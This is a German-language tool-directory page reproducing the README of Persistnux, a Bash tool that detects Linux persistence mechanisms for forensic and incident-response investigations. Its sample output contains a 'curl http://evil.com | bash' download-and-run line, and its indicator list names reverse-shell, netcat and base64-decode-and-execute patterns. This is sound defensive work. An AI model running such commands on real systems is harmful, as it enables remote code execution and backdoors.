Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Persistnux — Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse. | Kitploit
Tools/GitHubGitHub/go-lanz/persistnux
Privilege EscalationPersistenzmechanismenSchwachstellenanalyseForensikMalware-AnalyseDigitale ForensikLernen & BildungIncident ResponseContainer-AusbruchLabs & Praxis
GitHubgo-lanz/persistnux
340vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Persistnux

Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse.

Repository anzeigen
# Persistnux

Ein umfassendes Tool zur Erkennung von Linux-Persistenzmechanismen für Digital Forensics und Incident Response (DFIR)-Untersuchungen.

## Übersicht

Persistnux ist ein Bash-basiertes Tool, das darauf ausgelegt ist, bekannte Linux-Persistenzmechanismen zu identifizieren, die von Angreifern genutzt werden, um den Zugriff auf kompromittierte Systeme aufrechtzuerhalten. Es führt umfassende Prüfungen im gesamten System durch und erstellt detaillierte Berichte im CSV- und JSONL-Format für die weitere Analyse.

## Funktionen

- **Umfassende Erkennung**: Deckt alle wichtigen Linux-Persistenzmechanismen ab
- **Live-Analyse**: Läuft direkt auf Live-Systemen mit minimalen Abhängigkeiten
- **Detaillierte Ausgabe**: Erzeugt CSV- und JSONL-Berichte mit Datei-Hashes, Metadaten und Konfidenzwerten
- **Root und Non-Root**: Funktioniert mit oder ohne Root-Rechte (mit eingeschränktem Umfang für Nicht-Root)
- **DFIR-bereit**: Ausgabeformate kompatibel mit gängigen DFIR-Tools und Arbeitsabläufen
- **Verdachtsscore**: Automatische Konfidenzbewertung (NIEDRIG, MITTEL, HOCH, KRITISCH) basierend auf Indikatoren
- **False-Positive-Reduzierung**: Integration des Paketmanagers und Whitelisting bekannter, gutartiger Dienste
- **Zeitbasierte Analyse**: Kürzlich geänderte Dateien erhalten höhere Konfidenzwerte
- **Mustererkennung**: Erkennt Reverse Shells, Download-und-Ausführen-Muster, Verschleierungstechniken

## Erkannte Persistenzmechanismen

### 1. Systemd-Dienste
- Servicedateien (`.service`) in `/etc/systemd/system`, `/lib/systemd/system`, `/usr/lib/systemd/system`
- Benutzerebene-Systemd-Dienste
- Filtert deaktivierte Dienste und Dienste ohne ExecStart heraus
- Erkennt verdächtige ExecStart-Befehle
- Überprüft die Paketintegrität ausgeführter Binärdateien/Skripte

### 2. Cron-Jobs & geplante Aufgaben
- System-Crontabs (`/etc/crontab`, `/etc/cron.d/*`)
- Periodische Ausführungsverzeichnisse (`/etc/cron.{daily,hourly,weekly,monthly}`)
- Benutzer-Crontabs für alle Benutzer (Root-Modus)
- At-Jobs
- Verdächtige Befehlsmuster in geplanten Aufgaben
- `/etc/cron.allow` und `/etc/cron.deny` ACL-Dateien – Einträge, die auf nicht existierende Benutzer verweisen, werden markiert

### 3. Shell-Profile & RC-Dateien
- Systemweite Profile (`/etc/profile`, `/etc/bash.bashrc`, `/etc/zshrc`)
- Profile.d-Skripte (`/etc/profile.d/*`)
- Benutzerprofile (`.bashrc`, `.bash_profile`, `.zshrc`, `.profile` usw.)
- Fish-Shell-Konfigurationen
- Erkennt bösartige Befehle in Profildateien

### 4. Init-Skripte & RC.local
- `/etc/rc.local` und Varianten
- SysV-Init-Skripte (`/etc/init.d`)
- Runlevel-Skripte (`/etc/rc*.d`)
- Erkennt verdächtige Download/Ausführungsbefehle

### 5. Kernelmodule & Library Preloading
- LD_PRELOAD-Konfigurationen (`/etc/ld.so.preload`) – jede aufgeführte Bibliothek wird über den Paketmanager verifiziert
- Dynamische Linker-Konfigurationen (`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`) – Konfigurationsdateiintegrität + nicht standardmäßige Pfad-`.so`-Dateien werden gescannt und verifiziert
- `/etc/environment` LD_PRELOAD/LD_LIBRARY_PATH – Umgebungsdatei wird als HOCH markiert; referenzierte Bibliothekspfade werden verifiziert (unverwaltet/modifiziert → KRITISCH)
- Kernelmodul-Parameter (`/etc/modprobe.d/`, `/etc/modprobe.conf`) – Dateiintegrität; `install`-Direktiven werden auf verdächtige Befehlsziele analysiert; `blacklist` von Sicherheitsmodulen (AppArmor, SELinux, seccomp) wird als HOCH markiert
- Kernelmodul-Autoload-Konfigurationen (`/etc/modules`, `/etc/modules-load.d/`) – Konfigurationsintegrität; referenzierte Modulnamen werden über `modinfo` zu `.ko`-Dateien aufgelöst und verifiziert
- Geladene Kernelmodule (`lsmod`) – Aufzählung und Integritätsprüfung

### 6. Zusätzliche Mechanismen
- XDG-Autostart-Einträge (`.config/autostart`, `/etc/xdg/autostart`) – alle Benutzerverzeichnisse werden im Root-Modus gescannt
- System-Umgebungsdateien (`/etc/environment`) – LD_PRELOAD/LD_LIBRARY_PATH-Bibliothekspfade werden verifiziert
- Sudoers-Konfigurationen und Drop-Ins (`/etc/sudoers`, `/etc/sudoers.d/`) – NOPASSWD/ALL-Muster → HOCH
- PAM (Pluggable Authentication Modules):
  - Alle `.so`-Module werden über den Paketmanager verifiziert; `@include`-Direktiven werden verfolgt; `/etc/pam.conf` wird einbezogen
  - `pam_exec.so`-Skriptanalyse – fehlende/verdächtige Skripte → KRITISCH
  - `pam_python.so` / `pam_perl.so`-Relay-Erkennung – Skript wird extrahiert und analysiert
  - `pam_script.so`-Hook-Dateierkennung in `/etc/security/`
  - Konfigurationsdateienintegrität – modifizierte paketbesitzende PAM-Konfigurationen → KRITISCH
  - `pam_env.conf` und `~/.pam_environment` LD_PRELOAD-Bibliotheksverifizierung
  - `/etc/security/` allgemeiner Scan
- MOTD-Skripte (`/etc/update-motd.d/`) – Paketüberprüfung; modifiziert → KRITISCH
- Git-Credential-Helper und core.pager-Einstellungen – Inhaltsanalyse für alle Benutzer
- Web-Shells in gängigen Web-Verzeichnissen

### 8. SSH-Persistenz
- Benutzerspezifische `~/.ssh/authorized_keys` – kürzlich geänderte Schlüssel werden markiert; Inhalt der `command=`-Option auf verdächtige Muster analysiert
- Benutzerspezifische `~/.ssh/rc` – Vorhandensein wird als MITTEL markiert; verdächtiger/Reverse-Shell-Inhalt → HOCH/KRITISCH

### 9. Binary Hijacking
- Überprüft installierte System-Binärdateien gegen die Paketdatenbank (`dpkg -V` auf Debian/Ubuntu, `rpm -Va` auf RHEL/CentOS)
- Modifizierte Dateien in `/usr/bin`, `/usr/sbin`, `/bin`, `/sbin` → KRITISCHER Fund
- Modifizierte PAM-Module in `/lib/security` → KRITISCHER Fund
- Conffiles (dpkg-Konfigurationsdateien) werden ausgeschlossen, um False Positives zu vermeiden

### 10. Bootloader & Initramfs
- GRUB `init=` Kernel-Parameter-Injection (`/etc/default/grub`, `/etc/default/grub.d/*.cfg`)
- Root-Level abgelegte Init-Skripte unter `/`
- Dracut-Initramfs-Module mit `pre-pivot`-Hooks, die in `/sysroot/etc/shadow` schreiben
- Ubuntu Initramfs-Tools-Hook-Skripte in `/etc/initramfs-tools/scripts/` und `/hooks/`
- Kürzlich modifizierte `/boot/initrd.img-*`-Images (mtime-basiert)

### 11. Polkit (PolicyKit)-Manipulation
- `.pkla`-Dateien mit bedingungslosen `ResultAny/ResultInactive/ResultActive=yes`
- Wildcard-Identität (`unix-user:*`)-Gewährungen
- `.rules`-Dateien mit bedingungslosem `polkit.Result.YES` (JavaScript-basiertes Polkit >= 0.106)

### 12. D-Bus & NetworkManager
- Bösartige D-Bus-Systemdienst-`Exec=`-Registrierung (`/usr/share/dbus-1/system-services/`)
- D-Bus-Richtlinien-Wildcard `allow own="*"` oder `send_destination="*"`-Direktiven
- NetworkManager-Dispatcher-Skripte (`/etc/NetworkManager/dispatcher.d/`)

### 13. Udev-Regeln
- Udev `RUN+=`-Direktiven, die beliebige Befehle oder Skripte ausführen (`/etc/udev/rules.d/`, `/lib/udev/rules.d/`)
- Zur Laufzeit injizierte Regeln in `/run/udev/rules.d/`
- `at`/`cron`-Delegierungsmuster in `RUN+=` (häufige Umgehung von Vordergrundbeschränkungen)

### 14. Container Escape
- Privilegierte Docker-Container (`--privileged`, `--pid=host`)
- `docker.sock`-Bind-Mounts in Container (vollständige Host-Kontrolle über Docker-API)
- `nsenter -t 1` in Container-Entrypoints oder Dockerfiles
- Dockerfiles in benutzerbeschreibbaren Verzeichnissen, die Escape-Techniken enthalten

### 15. Erweiterte Binär- & Privilegienprüfungen
- Aktiver SUID/SGID-Dateisystem-Scan über Systemverzeichnisse hinweg
- Dateifähigkeits-Scan über `getcap` – `cap_setuid+ep` auf GTFOBins → KRITISCH
- Binary Hijacking: umbenannte Originale (`.original`, `.old`, `.bak`, `.real`) mit Wrapper-Skripten
- Nicht-Root-Konten mit UID 0 in `/etc/passwd`
- Shell-Verschleierung durch nachgestellte Leerzeichen im Shell-Feld von `/etc/passwd`
- Systemkonten (UID 1-999) mit SSH `authorized_keys`-Dateien

## Installation

```bash
# Repository klonen
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Skript ausführbar machen
chmod +x persistnux.sh
```

## Verwendung

### Grundlegende Verwendung (Live-Analyse)

```bash
# Mit Standardeinstellungen ausführen (zeigt nur verdächtige Funde)
sudo ./persistnux.sh

# Hilfe und alle Optionen anzeigen
./persistnux.sh --help

# Als normaler Benutzer ausführen (eingeschränkter Umfang)
./persistnux.sh
```

### Filteroptionen (v2.4+)

Standardmäßig zeigt Persistnux nur **verdächtige Funde** (MITTEL, HOCH, KRITISCH-Konfidenz) an, um Rauschen zu reduzieren und sich auf umsetzbare Bedrohungen zu konzentrieren.

```bash
# Standard: Nur verdächtige Funde anzeigen
sudo ./persistnux.sh

# Alle Funde einschließlich Baseline (NIEDRIG-Konfidenz) anzeigen
sudo ./persistnux.sh --all
# ODER
sudo FILTER_MODE=all ./persistnux.sh

# Nur Funde mit HOHEM und KRITISCHEM Konfidenzlevel anzeigen
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Filter kombinieren: Nur HOHE Konfidenz
sudo ./persistnux.sh --min-confidence HIGH
```

### Benutzerdefiniertes Ausgabeverzeichnis

```bash
# Benutzerdefiniertes Ausgabeverzeichnis angeben
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Mit Filterung kombinieren
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```

### Ausgabedateien

Standardmäßig erstellt Persistnux ein Ausgabeverzeichnis `./persistnux_output/`, das Folgendes enthält:

- `persistnux_<hostname>_<timestamp>.csv` – Bericht im CSV-Format
- `persistnux_<hostname>_<timestamp>.jsonl` – Bericht im JSONL-Format (ein JSON-Objekt pro Zeile)
- `persistnux_<hostname>_<timestamp>_report.txt` – Menschenlesbarer Zusammenfassungsbericht mit Fundanzahlen und Scan-Metadaten

## Ausgabeformat

### CSV-Format

```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```

### JSONL-Format

```json
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}
```

### Wichtige Ausgabefelder

- **matched_pattern**: Das Erkennungsmuster, das den Fund ausgelöst hat (z. B. `suspicious_script_content`, `modified_package`, `unmanaged_binary`)
- **matched_string**: Der tatsächliche verdächtige Inhalt, der gefunden wurde (vollständige Zeile, nicht nur Schlüsselwort)

## Konfidenzbewertung

Persistnux verwendet eine intelligente Konfidenzbewertung, um False Positives zu reduzieren:

- **NIEDRIG**: Standard-Systemkonfiguration, geringer Verdacht (oft paketverwaltete Dateien)
- **MITTEL**: Potenziell verdächtig, aber könnte legitim sein
- **HOCH**: Verdächtige Muster erkannt (z. B. curl/wget in Cron, /tmp-Ausführung, Reverse Shells)
- **KRITISCH**: Eindeutiger Nachweis von Manipulation – fehlgeschlagene Paketintegritätsprüfung, SUID/SGID auf einer verdächtigen Datei, PAM-Modul-Anomalie, systemd-Generator an einem flüchtigen Ort oder Inline-Interpreter-Code mit hoher Entropie

### False-Positive-Reduzierung (v1.2+)

Persistnux enthält jetzt mehrere Funktionen zur False-Positive-Reduzierung:

1. **Paketmanager-Integration**: Dateien, die von `dpkg` (Debian/Ubuntu) oder `rpm` (RedHat/CentOS) verwaltet werden, erhalten niedrigere Konfidenzwerte
2. **Whitelist bekannter, gutartiger Dienste**: Übliche Vendor-Dienste (systemd-*, dbus-*, snap.* usw.) werden automatisch übersprungen
3. **Zeitbasierte Bewertung**: Kürzlich geänderte Dateien (<7 Tage) erhalten höhere Konfidenzwerte
4. **Kontextbewusste Analyse**: Kombiniert mehrere Indikatoren für eine genauere Erkennung

## Verdächtige Indikatoren

Persistnux markiert Elemente automatisch mit höherer Konfidenz, wenn es Folgendes erkennt:

### Netzwerkbasierte Muster
- Reverse Shells: `bash -i >& /dev/tcp/`, `sh -i >& /dev/udp/`
- Netzwerktools: `nc`, `netcat`, `socat`, `telnet`
- Socket-Operationen in Skriptsprachen: `python -c 'import socket'`

### Download- und Ausführungsmuster
- Download-Tools: `curl | bash`, `wget | sh`
- Download mit Ausführung: `curl URL -o /tmp/file && chmod +x`

### Verschleierungstechniken
- Kodierung: `base64 -d | bash`, `eval $(echo BASE64)`
- Dynamische Ausführung: `eval`, `exec`

### Verdächtige Speicherorte
- Temporäre Verzeichnisse: `/tmp`, `/dev/shm`, `/var/tmp`
- Versteckte Verzeichnisse und Dateien

### Berechtigungsmanipulation
- Dateien ausführbar machen: `chmod +x`, `chmod 777`
- SUID-Bit-Manipulation: `chmod u+s`

## Anforderungen

- Bash 4.0+
- Standard-Unix-Dienstprogramme: `find`, `grep`, `stat`, `sha256sum`, `awk`, `file`
- Optional: `systemctl`, `lsmod`, `modinfo`, `getcap`, `dpkg`/`rpm` (für bestimmte Prüfungen)
- Keine Interpreter-Abhängigkeit (reines Bash + coreutils; kein `python`/`jq` erforderlich)
- Root-/sudo-Zugriff empfohlen für eine umfassende Analyse

## Getestet auf / Kompatibilität

| Distribution | Status | Hinweise |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Getestet | Primäre Entwicklungs- und Testplattform |
| Ubuntu 20.04 LTS | ✅ Getestet | Vollständig unterstützt |
| Debian 11/12 | ✅ Getestet | dpkg-basiert, gleiche Pfadkonventionen |
| Kali Linux (rolling) | ✅ Getestet | Für den PANIX-Erkennungsbenchmark verwendet (siehe unten) |
| RedHat / RHEL | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| Fedora | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| CentOS / AlmaLinux / Rocky | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |

> **Hinweis:** Das Tool wird hauptsächlich auf **Ubuntu/Debian**-Systemen getestet. Bei RedHat, Fedora und RPM-basierten Distributionen ist die Paketmanager-Unterstützung im Code implementiert, wurde aber in Live-Testumgebungen nicht validiert. Beiträge und Testergebnisse für RPM-basierte Distributionen sind willkommen.

## Testen / Benchmark

Persistnux wird gegen [**PANIX**](https://github.com/Aegrah/PANIX) gebenchmarkt,
das dieselben Persistenzmechanismen installiert, die Persistnux jagt. Der
wiederholbare Testrahmen unter [`tests/panix_benchmark.sh`](https://github.com/go-lanz/persistnux/blob/main/tests/panix_benchmark.sh) wendet jede
PANIX-Technik an, führt Persistnux aus und bestätigt die Erkennung über einen Basislinien-Diff.
Jede dateibasierte PANIX-Technik, die auf dem Testsystem anwendbar ist, wird mit
`MITTEL`+ Konfidenz erkannt. Siehe [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md) für die vollständige
Abdeckungstabelle und Methodik.

> ⚠️ Der Benchmark installiert echte Hintertüren – nur in einer Einweg-VM ausführen.

## Roadmap

- [ ] Offline-Analysemodus für forensische Festplatten-Images
- [ ] Integration der UAC (Unix-like Artifacts Collector)-Sammlung
- [ ] Erweiterung des PANIX-Benchmarks auf Bootloader/Initramfs/LKM-Vektoren auf einer vollständigen VM

## Ressourcen
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX

## Mitwirken

Beiträge sind willkommen! Bitte reichen Sie Pull-Requests ein oder eröffnen Sie Issues für:

- Erkennung neuer Persistenzmechanismen
- Fehlerbehebungen
- Verbesserungen der Dokumentation
- Leistungsoptimierungen
- Zusätzliche Ausgabeformate

## Lizenz

MIT-Lizenz – Siehe LICENSE-Datei für Details

## Danksagungen

Entwickelt für die DFIR-Community zur Unterstützung bei der Linux-Vorfallreaktion und forensischen Untersuchungen.

## Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests, Incident Response und forensische Analysen bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie die entsprechende Autorisierung haben, bevor sie dieses Tool auf einem System ausführen.

## Kontakt

Bei Fragen, Problemen oder Beiträgen nutzen Sie bitte den GitHub Issue-Tracker.
Tool herunterladen